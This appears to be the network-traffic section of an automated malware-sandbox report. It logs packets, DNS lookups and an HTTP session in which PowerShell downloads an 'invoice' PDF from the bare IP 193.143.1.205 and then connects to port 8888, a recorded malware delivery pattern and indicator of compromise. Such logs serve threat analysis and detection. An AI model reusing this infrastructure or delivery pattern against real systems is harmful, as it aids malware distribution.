Jan 11, 2025 09:14:20.915697098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915724993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915735006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915781021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915813923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915826082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915898085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915939093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916035891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916047096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916059017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916069984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916079998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916130066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916309118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916327000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916399956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916431904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916445017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916481972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916594982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916608095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916620016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916642904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916670084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916836977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916848898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916861057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916871071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916882038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916894913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.916920900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916920900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.916973114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917154074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917165995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917231083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917238951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917243004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917257071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917268991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917289972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917340040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917742014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917753935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917767048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917779922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917790890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917800903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917814970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917819977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917819977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917826891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917839050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.917867899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.917867899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918334961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918346882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918358088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918370008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918380976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918392897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918401957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918401957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918406963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918420076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918435097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918435097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918487072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918487072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918931961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918942928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918955088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918967009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918978930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.918987036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.918991089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919004917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919018030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.919023991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919064045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.919064045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.919521093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919533014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919543982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919555902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919567108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919578075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919588089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.919588089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.919589043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.919647932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.923540115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.953840017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.953871965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.953881025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.953912973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.953912973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.953969002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.953980923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954066038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.954091072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954137087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954175949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.954245090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954257965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954267979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.954335928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.963829994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.963872910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.963885069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.963891983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.963965893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.963979006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964061975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964071035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964119911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964152098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964164019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964200020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964265108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964277029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964286089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964312077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964333057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964413881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964427948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964438915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964469910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964643955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964662075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964720011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964756012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964768887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964785099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.964798927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.964847088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002144098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002157927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002269983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002276897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002281904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002320051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002417088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002429962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002444029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002473116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002593040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002651930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002654076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002747059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002764940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002777100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002788067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002800941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.002810955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002810955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.002846956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003145933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003156900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003168106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003180027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003190994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003201962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003213882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003225088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003237009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003247976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003247976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003304005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003844023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003854990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003865957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003878117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003889084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003889084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003901958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003914118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003918886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003926039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.003957987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.003957987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.004313946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004326105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004337072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004348040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004358053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.004360914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004373074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004385948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004399061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004401922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.004401922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.004410982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.004456043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.004479885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005000114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005011082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005023956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005036116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005047083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005059004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005068064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005069971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005090952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005103111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005112886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005121946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005121946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005125046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005137920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005146027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005151987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005214930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.005809069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.005822897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.006047010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007169008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007181883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007194042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007210970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007265091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007296085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007308006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007328033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007339954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007356882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007406950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007503033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007518053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007533073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007584095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007620096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007632971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007651091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007668972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007709026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007802010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007814884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007827044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007839918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.007874012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007874012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.007997990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.008001089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.008013010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.008023977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.008055925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.013329983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.040599108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040657043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040668964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040673971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.040724993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.040808916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040821075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040951967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.040956974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.040971041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.041017056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.041083097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.041096926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.041109085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.041181087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.050666094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050709963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050723076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050724983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.050770998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.050832033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050843954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050856113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.050889969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.099750042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.318931103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.919585943 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.924519062 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:21.924588919 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.924772978 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:21.929569006 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:22.745001078 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:22.787199974 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:23.639065027 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:14:30.294405937 CET	50686	53	192.168.2.8	1.1.1.1
Jan 11, 2025 09:14:42.899606943 CET	56779	53	192.168.2.8	1.1.1.1
Jan 11, 2025 09:15:01.257443905 CET	58085	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:14:30.294405937 CET	192.168.2.8	1.1.1.1	0x802	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:14:42.899606943 CET	192.168.2.8	1.1.1.1	0x4d63	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:15:01.257443905 CET	192.168.2.8	1.1.1.1	0x7212	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:14:29.138250113 CET	1.1.1.1	192.168.2.8	0x4e35	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:14:29.138250113 CET	1.1.1.1	192.168.2.8	0x4e35	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:14:30.302006960 CET	1.1.1.1	192.168.2.8	0x802	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:14:42.908034086 CET	1.1.1.1	192.168.2.8	0x4d63	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:15:01.265532017 CET	1.1.1.1	192.168.2.8	0x7212	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	3160	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:14:19.410403013 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:14:20.192883015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C 